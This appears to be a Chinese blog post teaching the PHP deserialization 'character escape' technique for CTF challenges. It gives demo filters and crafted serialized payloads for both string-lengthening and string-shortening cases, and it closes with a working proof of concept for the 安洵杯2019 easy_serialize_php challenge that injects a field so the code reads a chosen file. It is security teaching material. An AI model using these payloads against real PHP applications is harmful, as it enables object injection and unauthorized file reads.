C php反序列化,【C T F】PHP反序列化 - 字符逃逸

2_16147738821379998.png

PHP反序列化字符逃逸字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少字符逃逸(字符增多)<?php

function filter($string){

$filter = '/p/i';

return preg_replace($filter,'WW',$string);

}

$username = 'purplet';

$age = "10";

$user = array($username, $age);

var_dump(serialize($user));

echo "

";

$r = filter(serialize($user));

var_dump($r);

var_dump(unserialize($r));

?>

2_1614779836912.png构造修改age的值的代码:";i:1;s:2:"20";} ,再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";} 拼接,即:username的值此时传入的是: pppppppppppppppp";i:1;s:2:"20";},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";} 成功逃逸,修改了age的值。(后面的值忽略是特点1)

2_1614783603893.png判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,如果多出两个。则可以理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,那么逃逸也就只需要再构造16/2=8个p即可(即:构造代码的长度除以多出的字符数)

2_16147829887350001.png字符逃逸(字符减少)<?php

function filter($string){

$filter = '/pp/i';

return preg_replace($filter,'W',$string);

}

$username = 'ppurlet';

$age = '10';

$user = array($username, $age);

var_dump(serialize($user));

echo "

";

$r = filter(serialize($user));

var_dump($r);

var_dump(unserialize($r));

?>

2_1614774621576.png再看这个Demo,很明显两个p变成了一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬了第一个“到;结束,所以这种问题就不再是只传递一个值,而应该在username处传递构造的过滤字符,age处传递逃逸代码。字符逃逸(字符减少构造三步走)第一步利用Demo中的代码将age的值修改为想要修改的数值,即:20,得到age处序列化的值为;i:1;s:2:"20";},那么把这段数值再次传入Demo代码的age处(该值即为最终的逃逸代码),而此时username传递的p的数值无法确定,先可随意构造,查看结果

2_16147777814529998.png第二步age处传递一个任意数值和双引号进行闭合,即:再次传入age = A";i:1;s:2:"20";},查看结果

2_1614782961346.png第三步计算选中部分(长度为13)根据过滤后字符缩减情况构造,Demo中每两个p变为1个W,相当于逃逸1位(选中部分即为逃逸字符)所以输入13*2=26个p进行逃逸,即最终传递usernmae=pppppppppppppppppppppppppp,age=A";i:1;s:2:"20";}

2_1614780396256.png

真题解析[CTFSHOW]Web1此夜圆 ->字符增多<?php

error_reporting(0);class a

{

public $uname = '123';

public $password = 'yu22x';

}

function filter($string){

return str_replace('Firebasky','Firebaskyup',$string);

}$a = new a();

var_dump(serialize($a));

echo "

";

$r = filter(serialize($a));

var_dump($r);

var_dump(unserialize($r));

?>

2_1614781074207.png

[安洵杯2019]easy_serialize_php ->字符减少<?php

function filter($img)

{

$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');

$filter = '/' . implode('|', $filter_arr) . '/i';

return preg_replace($filter, '', $img);

}

$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是

多少再补充

$_SESSION["function"] = '123';//先随便写

$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

var_dump(serialize($_SESSION));

echo "

";

$serialize_info = filter(serialize($_SESSION));

var_dump($serialize_info);

var_dump(unserialize($serialize_info));

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));

?>

2_1614774485156.png

第二步,修改$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

2_1614776339027.png第三步,计算选中部分长度(构造逃逸代码)令$_SESSION[user]为6个4位长度的字符(flag)或者8个3位长度的字符(php)但是题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可。

最终POC:<?php

function filter($img)

{

$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');

$filter = '/' . implode('|', $filter_arr) . '/i';

return preg_replace($filter, '', $img);

}

$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符

$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';

$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';

var_dump(serialize($_SESSION));

echo "

";

$serialize_info = filter(serialize($_SESSION));

var_dump($serialize_info);

var_dump(unserialize($serialize_info));

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));

?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值